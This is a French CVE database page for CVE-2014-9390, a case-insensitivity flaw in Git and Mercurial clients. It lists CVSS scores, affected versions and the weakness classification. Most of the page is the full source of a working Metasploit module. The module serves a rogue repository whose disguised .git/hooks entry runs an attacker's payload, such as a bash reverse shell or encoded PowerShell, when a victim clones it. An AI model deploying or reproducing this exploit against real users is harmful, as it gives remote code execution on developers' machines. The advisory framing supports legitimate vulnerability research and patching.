Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41684
Date de publication : 2014-12-17 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(
info,
'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
'Description' => %q(
This module exploits CVE-2014-9390, which affects Git (versions less
than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
less than 3.2.3) and describes three vulnerabilities.
On operating systems which have case-insensitive file systems, like
Windows and OS X, Git clients can be convinced to retrieve and
overwrite sensitive configuration files in the .git
directory which can allow arbitrary code execution if a vulnerable
client can be convinced to perform certain actions (for example,
a checkout) against a malicious Git repository.
A second vulnerability with similar characteristics also exists in both
Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
certain Unicode codepoints are ignorable.
The third vulnerability with similar characteristics only affects
Mercurial clients on Windows, where Windows "short names"
(MS-DOS-compatible 8.3 format) are supported.
Today this module only truly supports the first vulnerability (Git
clients on case-insensitive file systems) but has the functionality to
support the remaining two with a little work.
),
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
],
'References' =>
[
['CVE', '2014-9390'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']
],
'DisclosureDate' => 'Dec 18 2014',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic bash-tcp perl'
}
}
}
],
[
'Windows Powershell',
{
'Platform' => [ 'windows' ],
'Arch' => [ARCH_X86, ARCH_X64]
}
]
],
'DefaultTarget' => 0))
register_options(
[
OptBool.new('GIT', [true, 'Exploit Git clients', true])
]
)
register_advanced_options(
[
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
]
)
end
def setup
# the exploit requires that we act enough like a real Mercurial HTTP instance,
# so we keep a mapping of all of the files and the corresponding data we'll
# send back along with a trigger file that signifies that the git/mercurial
# client has fetched the malicious content.
@repo_data = {
git: { files: {}, trigger: nil },
mercurial: { files: {}, trigger: nil }
}
unless datastore['GIT'] || datastore['MERCURIAL']
fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
end
setup_git
setup_mercurial
super
end
def setup_git
return unless datastore['GIT']
# URI must start with a /
unless git_uri && git_uri =~ /^\//
fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
end
# sanity check the malicious hook:
if datastore['GIT_HOOK'].blank?
fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
end
# In .git/hooks/ directory, specially named files are shell scripts that
# are executed when particular events occur. For example, if
# .git/hooks/post-checkout was an executable shell script, a git client
# would execute that file every time anything is checked out. There are
# various other files that can be used to achieve similar goals but related
# to committing, updating, etc.
#
# This vulnerability allows a specially crafted file to bypass Git's
# blacklist and overwrite the sensitive .git/hooks/ files which can allow
# arbitrary code execution if a vulnerable Git client can be convinced to
# interact with a malicious Git repository.
#
# This builds a fake git repository using the knowledge from:
#
# http://schacon.github.io/gitbook/7_how_git_stores_objects.html
# http://schacon.github.io/gitbook/7_browsing_git_objects.html
case target.name
when 'Automatic'
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
when 'Windows Powershell'
psh = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
encode_final_payload: true)
full_cmd = "#!/bin/sh\n#{psh}"
end
sha1, content = build_object('blob', full_cmd)
trigger = "/objects/#{get_path(sha1)}"
@repo_data[:git][:trigger] = trigger
@repo_data[:git][:files][trigger] = content
# build tree that points to the blob
sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the hooks directory in which the hook lives, called hooks
sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build a tree that points to the partially uppercased .git directory in
# which hooks live
variants = []
%w(g G). each do |g|
%w(i I).each do |i|
%w(t T).each do |t|
git = g + i + t
variants << git unless git.chars.none? { |c| c == c.upcase }
end
end
end
git_dir = '.' + variants.sample
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build the supposed commit that dropped this file, which has a random user/company
email = Rex::Text.rand_mail_address
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
full_name = "#{first.capitalize} #{last.capitalize}"
tstamp = Time.now.to_i
author_time = rand(tstamp)
commit_time = rand(author_time)
tz_off = rand(10)
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
"\n" \
"Initial commit to open git repository for #{company}!\n"
if datastore['VERBOSE']
vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
commit.each_line { |l| vprint_status(l.strip) }
end
sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
# build HEAD
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
# lastly, build refs
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
end
def setup_mercurial
return unless datastore['MERCURIAL']
# URI must start with a /
unless mercurial_uri && mercurial_uri =~ /^\//
fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
end
# sanity check the malicious hook
if datastore['MERCURIAL_HOOK'].blank?
fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
end
# we fake the Mercurial HTTP protocol such that we are compliant as possible but
# also as simple as possible so that we don't have to support all of the protocol
# complexities. Taken from:
# http://mercurial.selenic.com/wiki/HttpCommandProtocol
# http://selenic.com/hg/file/tip/mercurial/wireproto.py
@repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
# TODO: finish building the fake repository
end
# Build's a Git object
def build_object(type, content)
# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
header = "#{type} #{content.size}\0"
store = header + content
[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
end
# Returns the Git object path name that a file with the provided SHA1 will reside in
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
def exploit
super
end
def primer
# add the git and mercurial URIs as necessary
if datastore['GIT']
hardcoded_uripath(git_uri)
print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
end
if datastore['MERCURIAL']
hardcoded_uripath(mercurial_uri)
print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
end
end
# handles routing any request to the mock git, mercurial or simple HTML as necessary
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
if (user_agent = req.headers['User-Agent'])
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
do_mercurial(cli, req)
return
end
end
do_html(cli, req)
end
# simulates a Git HTTP server
def do_git(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
if @repo_data[:git][:files].key?(req_file)
vprint_status("Sending Git #{req_file}")
send_response(cli, @repo_data[:git][:files][req_file])
if req_file == @repo_data[:git][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Git #{req_file} doesn't exist")
send_not_found(cli)
end
end
# simulates an HTTP server with simple HTML content that lists the fake
# repositories available for cloning
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
if datastore['GIT']
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
else
resp.body << "<li><a>Git</a> (currently offline)</li>"
end
if datastore['MERCURIAL']
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
else
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
end
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
# simulates a Mercurial HTTP server
def do_mercurial(cli, req)
# determine if the requested file is something we know how to serve from our
# fake repository and send it if so
uri = URI.parse(req.uri)
req_path = uri.path
req_path += "?#{uri.query}" if uri.query
req_path.gsub!(/^#{mercurial_uri}/, '')
if @repo_data[:mercurial][:files].key?(req_path)
vprint_status("Sending Mercurial #{req_path}")
send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
if req_path == @repo_data[:mercurial][:trigger]
vprint_status("Trigger!")
# Do we need this? If so, how can I update the payload which is in a file which
# has already been built?
# regenerate_payload
handler(cli)
end
else
vprint_status("Mercurial #{req_path} doesn't exist")
send_not_found(cli)
end
end
# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
# Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
def mercurial_uri
return @mercurial_uri if @mercurial_uri
if datastore['MERCURIAL_URI'].blank?
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
else
@mercurial_uri = datastore['MERCURIAL_URI']
end
end
end
Products Mentioned
Configuraton 0
Git-scm>>Git >> Version To (excluding) 1.8.5.6
Git-scm>>Git >> Version From (including) 1.9.0 To (excluding) 1.9.5
Git-scm>>Git >> Version From (including) 2.0.0 To (excluding) 2.0.5
Git-scm>>Git >> Version From (including) 2.1.0 To (excluding) 2.1.4
Git-scm>>Git >> Version From (including) 2.2.0 To (excluding) 2.2.1
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Mercurial>>Mercurial >> Version To (excluding) 3.2.3
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Apple>>Xcode >> Version To (including) 6.1.1
Apple>>Xcode >> Version 6.2
Apple>>Xcode >> Version 6.2
Configuraton 0
Eclipse>>Egit >> Version To (excluding) 08-12-2014
Eclipse>>Jgit >> Version To (excluding) 3.4.2
Eclipse>>Jgit >> Version From (including) 3.5.0 To (excluding) 3.5.3
Libgit2>>Libgit2 >> Version To (excluding) 0.21.3
Références